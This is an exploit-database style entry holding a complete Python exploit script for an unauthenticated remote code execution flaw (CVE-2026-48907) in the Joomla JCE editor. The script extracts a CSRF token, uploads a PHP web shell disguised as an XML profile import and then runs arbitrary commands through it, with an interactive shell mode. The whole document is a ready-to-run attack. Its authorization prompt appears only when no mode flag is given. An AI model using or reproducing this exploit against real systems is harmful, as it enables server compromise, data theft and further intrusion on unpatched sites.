Joomla JCE 2.9.99.4 Remote Code Execution

# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution 
    # Date: 2026-07-10
    # Exploit Author: K3ysTr0K3R (Jared Brits)
    # Vendor Homepage: https://www.joomla.org/
    # Software Link: https://extensions.joomla.org/extension/jce/
    # Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
    # Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
    # CVE: CVE-2026-48907
    # Description: The JCE (Joomla Content Editor) profile import functionality
    # lacks proper authentication and CSRF protections. An unauthenticated
    # attacker can upload a crafted XML file containing PHP code; the
    # file is stored in the /tmp/ directory and can be accessed via HTTP,
    # leading to remote code execution.
    #
    # Usage examples:
    #   python3 exploit.py -u http://example.com --interactive
    #   python3 exploit.py -u http://example.com --cmd "id"
    #   python3 exploit.py -u http://example.com -v
    
    import re
    import sys
    import argparse
    import requests
    from random import randint
    from time import sleep
    from urllib.parse import urljoin
    from rich.console import Console
    from rich.text import Text
    
    console = Console()
    
    requests.packages.urllib3.disable_warnings(
        requests.packages.urllib3.exceptions.InsecureRequestWarning
    )
    
    
    class JCEExploit:
        def __init__(self, target_url, proxy=None, verbose=False):
            self.target = target_url.rstrip('/')
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
    
            if proxy:
                self.session.proxies = {
                    'http': proxy,
                    'https': proxy
                }
    
            self.filename = f"jce-{randint(1000, 9999)}.xml.php"
            self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
    
        def log(self, msg, level="INFO"):
            if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
                level_style = {
                    "INFO": "blue",
                    "SUCCESS": "green",
                    "ERROR": "red",
                    "WARNING": "yellow"
                }
                symbol = {
                    "INFO": "[*]",
                    "SUCCESS": "[+]",
                    "ERROR": "[-]",
                    "WARNING": "[!]"
                }.get(level, "[*]")
    
                text = Text()
                text.append(symbol, style=level_style.get(level, "blue"))
                text.append(f" {msg}")
                console.print(text)
    
        def get_csrf_token(self):
            try:
                resp = self.session.get(self.target + '/', timeout=10)
                if resp.status_code != 200:
                    self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
                    return None
    
                patterns = [
                    r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
                    r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
                    r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
                    r'name="([a-f0-9]{32})"\s+value="1"',
                ]
    
                for pattern in patterns:
                    match = re.search(pattern, resp.text, re.I)
                    if match:
                        token = match.group(1)
                        self.log(f"CSRF token extracted: {token}", "SUCCESS")
                        return token
    
                self.log("Could not find CSRF token in the page", "ERROR")
                return None
    
            except requests.RequestException as e:
                self.log(f"Request failed: {e}", "ERROR")
                return None
    
        def upload_profile(self, token):
            if not token:
                return False
    
            endpoint = urljoin(self.target, '/index.php?option=com_jce')
    
            files = {
                'profile_file': (self.filename, self.payload, 'application/xml')
            }
    
            data = {
                'task': 'profiles.import',
                token: '1'
            }
    
            try:
                self.log(f"Uploading malicious file: {self.filename}")
                resp = self.session.post(endpoint, files=files, data=data, timeout=15)
    
                if resp.status_code != 200:
                    self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
                    return False
    
                if 'success' in resp.text and 'true' in resp.text:
                    self.log("Profile imported – file written to /tmp/", "SUCCESS")
                    return True
                else:
                    self.log("Profile import may have failed", "WARNING")
                    return False
    
            except requests.RequestException as e:
                self.log(f"Upload request failed: {e}", "ERROR")
                return False
    
        def get_webshell_url(self):
            return urljoin(self.target, f'/tmp/{self.filename}')
    
        def execute_command(self, command):
            if not command:
                return ""
            url = self.get_webshell_url()
            try:
                resp = self.session.get(url, params={'cmd': command}, timeout=10)
                if resp.status_code == 200:
                    return resp.text
                else:
                    return f"[!] HTTP {resp.status_code} – command may have failed."
            except requests.RequestException as e:
                return f"[!] Request error: {e}"
    
        def interactive_shell(self):
            self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
            console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
            while True:
                try:
                    cmd = console.input("[cyan]$> [/cyan]").strip()
                    if cmd.lower() in ('exit', 'quit'):
                        break
                    if cmd == "":
                        continue
                    output = self.execute_command(cmd)
                    print(output)
                except KeyboardInterrupt:
                    print("\nExiting.")
                    break
    
        def run(self, command=None, interactive=False):
            self.log(f"Target: {self.target}")
            self.log("Starting CVE-2026-48907 exploitation process")
    
            token = self.get_csrf_token()
            if not token:
                self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
                return False
    
            if not self.upload_profile(token):
                self.log("Upload failed – target may be patched.", "ERROR")
                return False
    
            test_output = self.execute_command("echo JCE_TEST")
            if "JCE_TEST" in test_output:
                self.log("Webshell is active and responding.", "SUCCESS")
            else:
                self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")
    
            if command:
                self.log(f"Executing command: {command}")
                output = self.execute_command(command)
                print(output)
                return True
    
            if interactive:
                self.interactive_shell()
            else:
                self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
                self.log(f"Direct webshell URL: {self.get_webshell_url()}")
    
            return True
    
    
    def main():
        parser = argparse.ArgumentParser(
            description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
            epilog='Examples:\n'
                   '  python3 exploit.py -u http://target.com --interactive\n'
                   '  python3 exploit.py -u http://target.com --cmd "id"\n'
                   '  python3 exploit.py -u http://target.com -v'
        )
        parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
        parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
        parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
        parser.add_argument('--cmd', help='Execute a single command and exit')
        parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')
    
        args = parser.parse_args()
    
        banner = Text()
        banner.append("[!] ", style="yellow")
        banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
        banner.append("[!] ", style="yellow")
        banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
        console.print(banner, style="bold")
    
        if not args.verbose and not args.cmd and not args.interactive:
            confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
            if confirm.lower() != 'y':
                console.print("Exiting.")
                sys.exit(0)
    
        exploit = JCEExploit(args.url, args.proxy, args.verbose)
        success = exploit.run(command=args.cmd, interactive=args.interactive)
    
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()